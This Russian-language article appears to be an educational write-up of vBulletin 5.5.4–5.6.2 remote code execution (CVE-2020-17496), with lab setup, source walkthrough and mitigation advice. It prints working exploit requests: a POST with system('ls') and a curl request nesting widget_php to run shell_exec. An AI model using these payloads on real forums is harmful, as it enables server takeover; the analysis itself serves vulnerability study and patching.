vBulletin — это продвинутый форумный движок, который позволяет множеству пользователей общаться между собой. Из-за стремительного роста популярности мессенджеров форумы в 2020 году уже не так актуальны, но если и попадаются во время тестирования, то в двух случаях из трех это будет именно vBulletin.
Вкратце баг заключается в следующем: виджет tabbedcontainer_tab_panel разрешает загружать дочерние виджеты и передавать им произвольные параметры. С помощью специально сформированного запроса злоумышленник может вызвать widget_php
и удаленно выполнить произвольный код на PHP тем самым взломать форум.
Уязвимость получила статус критической и была срочно исправлена разработчиками.
Баг обнаружил Амир Этемадие (Amir Etemadieh), более известный как @Zenofex. Уязвимости присвоен номер CVE-2020-17496. Проблема существует в vBulletin с версии 5.5.4 до 5.6.2. Эксплуатация возможна из-за неполного исправления уязвимости CVE-2019-16759.
Сегодня я рассмотрю, как vBulletin работает с роутингом запросов, как работают виджеты и их шаблоны, и, конечно же, разберем детали уязвимости и проэксплуатируем систему.
Стенд для взлома форума vBulletin
Для тестового окружения, как всегда, будем использовать Docker. Сначала создадим контейнер для базы данных. Я воспользуюсь MySQL.
docker run -d -e MYSQL_USER="vb" -e MYSQL_PASSWORD="JS7G5yUmaV" -e MYSQL_DATABASE="vb" --rm --name=mysql --hostname=mysql mysql/mysql-server:5.7
Затем запустим контейнер, на котором будет располагаться веб-сервер и сам форум. Не забываем слинковать его с БД.
docker run --rm -ti --link=mysql --name=vbweb --hostname=vbweb -p80:80 debian /bin/bash
В качестве сервера я буду использовать Apache. Поэтому установим его и PHP с необходимыми модулями.
apt update && apt install -y apache2 php nano unzip netcat php-mysqli php-xml php-gd
Включаем модуль mod-rewrite и запускаем Apache.
a2enmod rewrite
service apache2 start
Теперь нужно установить vBulletin. Продукт коммерческий, и я здесь не стану рассматривать, как его получить. Все тесты будем проводить на последней уязвимой версии — 5.5.6. Распаковываем ее в директорию /var/www/html
и устанавливаем.
Если ты хочешь вместе со мной более подробно рассмотреть уязвимость и покопаться в сорцах, то неплохо бы настроить отладку. Я буду использовать связку Xdebug + PhpStorm.
Устанавливаем и активируем Xdebug. Делать это лучше после того, как vBulletin будет установлен, у меня были проблемы во время инсталляции, пришлось отключить.
apt update && apt install -y php-xdebug
phpenmod xdebug
Включаем удаленную отладку и указываем IP-адрес сервера. Обрати на него внимание, а также на пути к файлам — у тебя это все может быть другим.
echo "xdebug.remote_enable=1" >> /etc/php/7.3/apache2/conf.d/20-xdebug.ini
echo "xdebug.remote_host=192.168.99.1" >> /etc/php/7.3/apache2/conf.d/20-xdebug.ini
Теперь перезагружаем веб-сервер.
service apache2 restart
В PhpStorm включаем ожидание коннекта от отладчика. Добавляем параметр XDEBUG_SESSION_START=phpstorm
к запросу, если хотим, чтобы дебаггер сработал.
Стенд готов, и можно переходить к разбору уязвимости.
Обработка URI
Сначала посмотрим, как vBulletin обрабатывает запросы пользователя, а конкретно роуты.
.htaccess
01: <IfModule mod_rewrite.c>
02: RewriteEngine On
...
39: RewriteCond %{REQUEST_FILENAME} !-f
40: RewriteCond %{REQUEST_FILENAME} !-d
41: RewriteRule ^(.*)$ index.php?routestring=$1 [L,QSA]
Проверяется, существует ли файл, и если нет, то указанный URI передается в качестве параметра routestring
.
Как и большинство современных фреймворков, форум поддерживает автозагрузку классов через spl_autoload_register
.
index.php
33: require_once('includes/vb5/autoloader.php');
34: vB5_Autoloader::register(dirname(__FILE__));
includes/vb5/autoloader.php
13: abstract class vB5_Autoloader
14: {
15: protected static $_paths = array();
16: protected static $_autoloadInfo = array();
17:
18: public static function register($path)
19: {
20: self::$_paths[] = (string) $path . '/includes/'; // includes
21:
22: spl_autoload_register(array(__CLASS__, '_autoload'));
23: }
Затем начинается проверка переданного роута. Вызывается метод isQuickRoute
.
index.php
37: if (vB5_Frontend_ApplicationLight::isQuickRoute())
includes/vb5/frontend/applicationlight.php
079: public static function isQuickRoute()
080: {
...
091: foreach (self::$quickRoutePrefixMatch AS $prefix => $route)
092: {
093: if (substr($_REQUEST['routestring'], 0, strlen($prefix)) == $prefix)
094: {
095: return true;
096: }
097: }
098:
099: return false;
100: }
В переменной $quickRoutePrefixMatch
хранятся префиксы роутов, которые должны обрабатываться при помощи quickRoute
.
ajax/apidetach
ajax/api
ajax/render
Возвращение к истокам. Работа с виджетами, CVE-2019-16759 и ее патч
Обратимся к эксплоиту для прошлогодней уязвимости CVE-2019-16759.
POST /index.php HTTP/1.1
Host: vb.vh
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Connection: close
routestring=ajax/render/widget_php&widgetConfig[code]=system('ls');
Здесь в качестве routestring
передается ajax/render/widget_php
. Префикс как раз подходит под условие quickRoute
. После этого вызывается $app->execute()
.
index.php
37: if (vB5_Frontend_ApplicationLight::isQuickRoute())
38: {
...
41: if ($app->execute())
Это главный метод, который передает управление на нужные участки кода, чтобы обработать запрос пользователя. В нашем случае вызывается обработчик callRender
. Он запускает формирование ответа пользователю.
includes/vb5/frontend/applicationlight.php
161: public function execute()
...
181: $serverData = array_merge($_GET, $_POST);
182:
183: if (!empty($this->application['handler']) AND method_exists($this, $this->application['handler']))
184: {
185: $app = $this->application['handler'];
186: call_user_func(array($this, $app), $serverData);
includes/vb5/frontend/applicationlight.php
282: protected function callRender($serverData)
283: {
284: $routeInfo = explode('/', $serverData['routestring']);
Далее в коде идет первый патч, который исправляет прошлогоднюю RCE.
includes/vb5/frontend/applicationlight.php
291: $templateName = $routeInfo[2];
292: if ($templateName == 'widget_php')
293: {
294: $result = array(
295: 'template' => '',
296: 'css_links' => array(),
297: );
298: }
Если имя запрошенного шаблона widget_php
, то возвращается пустой массив. Пришло время поговорить о виджетах и их шаблонах. В vBulletin есть система виджетов (модулей), которые могут отображать разную информацию на сайте. Таким образом, страница сайта может состоять из некоторого количества таких вот блоков-виджетов со своими стилями и данными. Похожая штука сейчас есть в каждой уважающей себя CMS, так как это удобный и гибкий инструмент кастомизации.
Шаблоны всех виджетов описываются в файле vbulletin-style.xml
. При установке форума они записываются в базу данных.
core/install/vbulletin-style.xml
<templategroup name="Module">
<template name="widget_aboutauthor" templatetype="template" date="1452807873" username="vBulletin" version="5.2.1 Alpha 2"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
...
<template name="widget_activate_email" templatetype="template" date="1458863949" username="vBulletin" version="5.2.2 Alpha 3"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
Шаблоны не написаны на чистом PHP, а используют свой синтаксис, который сначала обрабатывается шаблонизатором. Он возвращает результат как строку кода на PHP, который затем проходит процесс «рендеринга». Во время этого данные попадают в функцию eval
.
Так вот, среди вороха этих виджетов имеется widget_php
. Этот модуль позволяет отображать результаты выполнения произвольного кода на PHP.
core/install/vbulletin-style.xml
<template name="widget_php" templatetype="template" date="1569453621" username="vBulletin" version="5.5.5 Alpha 4"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
{vb:data widgetConfig, widget, fetchConfig, {vb:raw widgetinstanceid}}
</vb:if>
<vb:if condition="!empty($widgetConfig)">
{vb:set widgetid, {vb:raw widgetConfig.widgetid}}
{vb:set widgetinstanceid, {vb:raw widgetConfig.widgetinstanceid}}
</vb:if>
...
{vb:template module_title,
widgetConfig={vb:raw widgetConfig},
show_title_divider=1,
can_use_sitebuilder={vb:raw user.can_use_sitebuilder}}
<div class="widget-content">
<vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
...
{vb:phpeval {vb:raw widgetConfig.code}}
...
</vb:if>
</div>
</div>]]></template>
Здесь нас встречает еще одно последствие патча уязвимости. Обрати внимание на атрибут version
. Это версия последнего обновления шаблона (5.5.5 Alpha 4). До патча часть кода с выполнением PHP выглядела несколько иначе.
vBulletin 5.5.3/core/install/vbulletin-style.xml
<div class="widget-content">
<vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
{vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}
{vb:raw $evaledPHP}
<vb:else />
Об этом поговорим немного позже, здесь лишь осталось сказать, что с шаблонами работает класс vB_Template
.
Теперь возвращаемся к эксплоиту CVE-2019-16759. Предположим, что у нас непатченная версия форума и скрипт выполняется дальше.
includes/vb5/frontend/applicationlight.php
301: $this->router = new vB5_Frontend_Routing();
302: $this->router->setRouteInfo(array(
303: 'action' => 'actionRender',
304: 'arguments' => $serverData,
305: 'template' => $templateName,
...
310: 'queryParameters' => $_GET,
311: ));
312: Api_InterfaceAbstract::setLight();
313: $result = vB5_Template::staticRenderAjax($templateName, $serverData);
Теперь управление передается в класс vB5_Template
. Вызывается метод staticRenderAjax
, а из него попадаем в более общий staticRender
.
includes/vb5/template.php
16: class vB5_Template
17: {
...
731: public static function staticRenderAjax($templateName, $data = array())
732: {
733: $rendered = self::staticRender($templateName, $data, true, true);
...
737: return array(
738: 'template' => $rendered,
739: 'css_links' => $css,
740: );
Следующий шаг — это сопоставление переменных в шаблоне виджета с теми, что были переданы в запросе пользователем. Напоминаю, что я передавал параметр widgetConfig[code]=system('ls');
.
includes/vb5/template.php
703: public static function staticRender($templateName, $data = array(), $isParentTemplate = true, $isAjaxTemplateRender = false)
704: {
...
710: $templater = new vB5_Template($templateName);
711:
712: foreach ($data AS $varname => $value)
713: {
714: $templater->register($varname, $value);
715: }
core/install/vbulletin-style.xml
{vb:phpeval {vb:raw widgetConfig.code}}
После подгрузки необходимых классов мы попадаем в метод рендеринга шаблона.
includes/vb5/template.php
717: $core_path = vB5_Config::instance()->core_path;
718: vB5_Autoloader::register($core_path);
719:
720: $result = $templater->render($isParentTemplate, $isAjaxTemplateRender);
Здесь мы встречаем очередную часть кода, которая патчит уязвимость, — метод cleanRegistered
.
includes/vb5/template.php
341: public function render($isParentTemplate = true, $isAjaxTemplateRender = false)
342: {
...
350: if($isParentTemplate)
351: {
352: $this->cleanRegistered();
353: }
includes/vb5/template.php
128: private function cleanRegistered()
129: {
130: $disallowedNames = array('widgetConfig');
131: foreach($disallowedNames AS $name)
132: {
133: unset($this->registered[$name]);
134: unset(self::$globalRegistered[$name]);
135: }
136: }
Здесь из зарегистрированных переменных шаблона удаляется widgetConfig
, чтобы нельзя было напрямую из запроса изменять конфигурацию виджета. Как раз через эту переменную я передаю пейлоад на PHP.
Предположим, что этого метода у нас нет. Дальше инициализируется кеш vBulletin, и управление переходит к getTemplate
.
includes/vb5/template.php
391: $templateCache = vB5_Template_Cache::instance();
392: $templateCode = $templateCache->getTemplate($this->template);
includes/vb5/template/cache.php
177: public function getTemplate($templateId)
178: {
179:
180: if (is_array($templateId))
181: {
182: return $this->fetchTemplate($templateId);
183: }
184:
185: if (!isset($this->cache[$templateId]))
186: {
187: $this->fetchTemplate($templateId);
188: }
189:
190: if (isset($this->cache[$templateId]))
191: {
192: return $this->cache[$templateId];
193: }
Этот метод сначала пытается найти уже сгенерированный код шаблона в кеше, и если такового не обнаруживается, то в дело вступает fetchTemplate
.
includes/vb5/template/cache.php
207: protected function fetchTemplate($templateName)
208: {
...
216: $method = 'fetch';
217: $arguments = array('name' => $templateName);
218: }
..
224: $response = Api_InterfaceAbstract::instance()->callApi('template', $method, $arguments);
Вся магия происходит в этом вызове:
Api_InterfaceAbstract::instance()->callApi('template', $method, $arguments)
Из псевдокода шаблона получается готовый код на PHP.
includes/api/interface/collapsed.php
084: public function callApi($controller, $method, array $arguments = array(), $useNamedParams = false, $byTemplate = false)
085: {
...
101: $result = call_user_func_array(array(&$c, $method), $arguments);
core/vb/api/template.php
19: class vB_Api_Template extends vB_Api
20: {
...
49: public function fetch($template_name, $styleid = -1)
50: {
51: return $this->library->fetch($template_name, $styleid);
52: }
core/vb/library/template.php
19: class vB_Library_Template extends vB_Library
20: {
...
31: public function fetch($template_name, $styleid = -1, $nopermissioncheck = false)
32: {
...
50: $templates = $this->fetchBulk(array($template_name), $styleid, 'compiled', $nopermissioncheck);
В методе fetchBulk
шаблон виджета подгружается из базы данных.
core/vb/library/template.php
68: public function fetchBulk($template_names, $styleid = -1, $type = 'compiled', $nopermissioncheck = false)
69: {
...
121: if (!empty($templateids))
122: {
123: $result = vB::getDbAssertor()->select('template', array('templateid' => $templateids), false,
124: array('title', 'textonly', 'template_un', 'template'));
125:
126: foreach ($result AS $template)
127: {
128: if ($type == 'compiled')
129: {
130: $response[$template['title']] = $this->getTemplateReturn($template);
131: self::$templatecache[$template['title']] = $response[$template['title']];
132: }
Результат записывается в кеш.
includes/vb5/template/cache.php
227: if (is_array($response) AND isset($response['textonly']))
228: {
...
252: else
...
253: {
257: $response = str_replace('vB_Template_Runtime', 'vB5_Template_Runtime', $response);
258: $this->cache[$templateName] = $response;
В случае с виджетом widget_php
прошедший через шаблонизатор код выглядит так.
widget_php_rendered
01: $final_rendered = '' . ''; if (empty($widgetConfig) AND !empty($widgetinstanceid)) {
02: $final_rendered .= '
03: ' . ''; $widgetConfig = vB5_Template_Runtime::parseData('widget', 'fetchConfig', $widgetinstanceid); $final_rendered .= '' . '
04: ';
05: } else {
06: $final_rendered .= '';
07: }$final_rendered .= '' . '
...
20: ' . vB5_Template_Runtime::includeTemplate('module_title',array('widgetConfig' => $widgetConfig, 'show_title_divider' => '1', 'can_use_sitebuilder' => $user['can_use_sitebuilder'])) . '
...
22: <div class="widget-content">
23: ' . ''; if (!empty($widgetConfig['code']) AND !vB::getDatastore()->getOption('disable_php_rendering')) {
24: $final_rendered .= '
25: ' . '' . '
26: ' . vB5_Template_Runtime::evalPhp('' . $widgetConfig['code'] . '') . '
27: ';
В строке 26 можно увидеть конструкцию vB5_Template_Runtime::evalPhp
. Однако до патча эта часть кода выглядела несколько иначе. Как я упоминал, сам шаблон виджета имел другой вид.
vBulletin 5.5.3/core/install/vbulletin-style.xml
{vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}
<vb:else />
Эта конструкция обрабатывалась контроллером vB5_Frontend_Controller_Bbcode
. В итоге вызывался обычный eval
.
vBulletin 5.5.3/includes/vb5/frontend/controller/bbcode.php
013: class vB5_Frontend_Controller_Bbcode extends vB5_Frontend_Controller
014: {
...
224: function evalCode($code)
225: {
226: ob_start();
227: eval($code);
228: $output = ob_get_contents();
229: ob_end_clean();
230: return $output;
231: }
В новой версии форума разработчики пересмотрели логику работы виджета. Добавили другой метод — vB5_Template_Runtime::evalPhp
, который, по сути, также выполняет код, переданный в параметре widgetConfig['code']
, с той лишь разницей, что сначала проверяет имя шаблона, где происходит попытка вызвать метод. И если он отличается от widget_php
, то возвращается пустая строка.
includes/vb5/template/runtime.php
1992: public static function evalPhp($code)
1993: {
...
1996: if (self::currentTemplate() != 'widget_php')
1997: {
1998: return '';
1999: }
2000: ob_start();
2001: eval($code);
2002: $output = ob_get_contents();
2003: ob_end_clean();
2004: return $output;
2005: }
Такое решение должно усилить безопасность и запретить любым другим шаблонам передавать потенциально небезопасные данные в функцию eval
.
После этого небольшого отступления возвращаемся к выполнению скрипта. Если код виджета успешно получен, то передаем его на выполнение.
includes/vb5/template.php
392: $templateCode = $templateCache->getTemplate($this->template);
...
400: eval($templateCode);
...
444: vB5_Template_Runtime::endTemplate();
...
452: return $final_rendered;
Пейлоад отрабатывает, и в ответе от сервера можно видеть результат выполнения функции system('ls')
.
Таким образом, возможность выполнять код через widget_php
осталась, только теперь атакующий не может делать это напрямую. Это приводит нас к поиску обходных путей и новой уязвимости.
Детали CVE-2020-17496
Хочу обратить внимание, что виджеты не только могут не быть самостоятельными элементами, но и бывают вложенными. В один виджет может быть вложено несколько дочерних. То есть можно обрабатывать и отображать результаты работы других виджетов. Такая логика работы отлично вписывается в идею обхода ограничений, которые были добавлены патчем для CVE-2019-16759. Нужно только найти виджет, в шаблоне которого будет возможность вызывать дочерние. И Амир обнаружил такой — widget_tabbedcontainer_tab_panel
.
core/install/vbulletin-style.xml
<template name="widget_tabbedcontainer_tab_panel" templatetype="template" date="1532130449" username="vBulletin" version="5.4.4 Alpha 2"><![CDATA[{vb:set panel_id, {vb:concat {vb:var id_prefix}, {vb:var tab_num}}}
Виджет обрабатывает массив subWidgets
, в котором ищет ключ template
и подгружает шаблон указанного в нем виджета.
core/install/vbulletin-style.xml
<vb:each from="subWidgets" value="subWidget">
-- {vb:raw subWidget.template}
</vb:each>
А с помощью ключа config
можно передавать параметры в дочерний шаблон (обрати внимание на атрибут widgetConfig).
core/install/vbulletin-style.xml
<vb:each from="subWidgets" value="subWidget">
{vb:template {vb:raw subWidget.template},
widgetConfig={vb:raw subWidget.config},
widgetinstanceid={vb:raw subWidget.widgetinstanceid},
widgettitle={vb:raw subWidget.title},
tabbedContainerSubModules={vb:raw subWidget.tabbedContainerSubModules},
product={vb:raw subWidget.product}
}
</vb:each>
Давай проверим это на каком-нибудь простеньком виджете.
core/install/vbulletin-style.xml
<template name="widget_search2_viewall_link__searchresults" templatetype="template" date="1504914629" username="vBulletin" version="5.3.4 Alpha 2"><![CDATA[<a href="{vb:url%20'search'}?r={vb:raw%20nodes.resultId}" class="b-button">
<vb:if condition="!empty($widgetConfig['view_all_text'])">
{vb:var widgetConfig.view_all_text}
<vb:else />
{vb:phrase view_all}
</vb:if>
</a>]]></template>
Здесь в качестве параметра можно передать view_all_text
. Этот текст будет отображен в шаблоне как текст ссылки. Отправляем запрос.
curl "http://vb.vh/ajax/render/widget_tabbedcontainer_tab_panel?XDEBUG_SESSION_START=phpstorm" -s -X POST -d 'subWidgets[0][template]=widget_search2_viewall_link__calendar&subWidgets[0][config][view_all_text]=HELLOTHERE!'
При рендеринге widget_tabbedcontainer_tab_panel
в том месте, где будет дочерний виджет, вставляется плейсхолдер. Шаблон приобретает следующий вид.
<div id="" class="h-clearfix js-show-on-tabs-create h-hide">
<!-- ##template_widget_search2_viewall_link__calendar_0## -->
</div>
Затем вызывается метод replacePlaceholders
, который, как видно из названия, проходит по шаблону, ищет плейсхолдеры, вызывает необходимые модули и вставляет результаты их работы в нужное место.
includes/vb5/template.php
421: // always replace placeholder for templates, as they are process by levels
422: $templateCache->replacePlaceholders($final_rendered);
Здесь используется точно такой же набор вызовов. Метод fetchTemplate
получает шаблон виджета.
includes/vb5/template/cache.php
103: public function replacePlaceholders(&$content)
104: {
105: // This function procceses subtemplates by level
106:
107: $missing = array_diff(array_keys($this->pending), array_keys($this->cache));
108: if (!empty($missing))
109: {
110: $this->fetchTemplate($missing);
111: }
Затем в него передаются переменные. Так параметры из нашего POST-запроса попадают в шаблон.
includes/vb5/template/cache.php
125: foreach ($levelPending as $templateName => $templates)
126: {
127: foreach ($templates as $placeholder => $templateArgs)
128: {
129: $templater = new vB5_Template($templateName);
130: $this->registerTemplateVariables($templater, $templateArgs);
И снова рендеринг, но уже дочернего модуля.
includes/vb5/template/cache.php
132: try
133: {
134: $replace = $templater->render(false);
Таким образом, та часть патча, где проверяется имя модуля, остается далеко позади.
includes/vb5/frontend/applicationlight.php
292: if ($templateName == 'widget_php')
293: {
294: $result = array(
295: 'template' => '',
296: 'css_links' => array(),
297: );
Но это еще не все, так как в этот раз и в ветку с методом cleanRegistered
мы не попадаем. Это происходит из-за того, что вызов render
был инициирован не родительским методом и переменная isParentTemplate
установлена в false
.
includes/vb5/template.php
341: public function render($isParentTemplate = true, $isAjaxTemplateRender = false)
342: {
...
350: if($isParentTemplate)
351: {
352: $this->cleanRegistered();
Это значит, что widgetConfig
будет в целости и сохранности. Еще одна часть фикса уязвимости миновала.
Дочерний виджет отрабатывает, и результат добавляется в родительский.
includes/vb5/template/cache.php
171: $content = str_replace($placeholder, $replace, $content);
На выходе получается что-то вроде такого:
<div id="" class="h-clearfix js-show-on-tabs-create h-hide">
<!-- BEGIN: widget_search2_viewall_link__calendar --><a href="!!VB:URL1284a43c8c1d5b8763560fbb7e88642e!!?searchJSON=" class="b-button">
HELLOTHERE
</a><!-- END: widget_search2_viewall_link__calendar -->
</div>
Но это всё игрушки. Теперь пора взяться за серьезные вещи. Берем прошлогодний эксплоит и переделываем его прямой вызов на дочерний другого виджета.
subWidgets[0][template]=widget_php
subWidgets[0][config][code]=echo shell_exec("uname -a"); exit;
Отправляем полученный результат на widget_tabbedcontainer_tab_panel
.
curl "http://vb.vh/ajax/render/widget_tabbedcontainer_tab_panel" -s -X POST -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec("uname -a"); exit;'
В ответ получаем результат выполненной на сервере команды.
Демонстрация уязвимости (видео)
Выводы
Сегодня мы затронули разные аспекты работы форумного движка vBulletin. Посмотрели на реализацию механизма виджетов и на их слабые стороны. На самом деле текущая реализация вызывает много вопросов с точки зрения безопасности. Парсинг псевдокода в PHP и выполнение его через функцию eval создает много потенциально узких мест. Например, любая неотфильтрованная или некорректно отфильтрованная переменная в шаблоне приведет к еще одной RCE. Нужно внимательно следить за корректностью формирования кода шаблона, фильтрация XSS превращается в настоящую головную боль.
Сейчас баг исправлен разработчиками, так что, если ты админишь форум на этом движке, спеши обновиться или установить патчи.
Как временную меру могу посоветовать отключить рендеринг PHP в виджетах. Как ты, возможно, заметил, в шаблоне встречалась проверка опции disable_php_rendering
.
<vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
Для этого нужно зайти панель администратора, в раздел основных настроек, и включить опцию Disable PHP, Static HTML, and Ad Module rendering.
Это, конечно, может поломать что-то на твоем форуме, зато его не поломает кто-то со стороны. По крайней мере, не с помощью этого эксплоита!
1 comments On Как взломать форум на движке vBulletin
Читаю Ваши статьи без остановки, очень познавательно. Спасибо большое за Ваши старания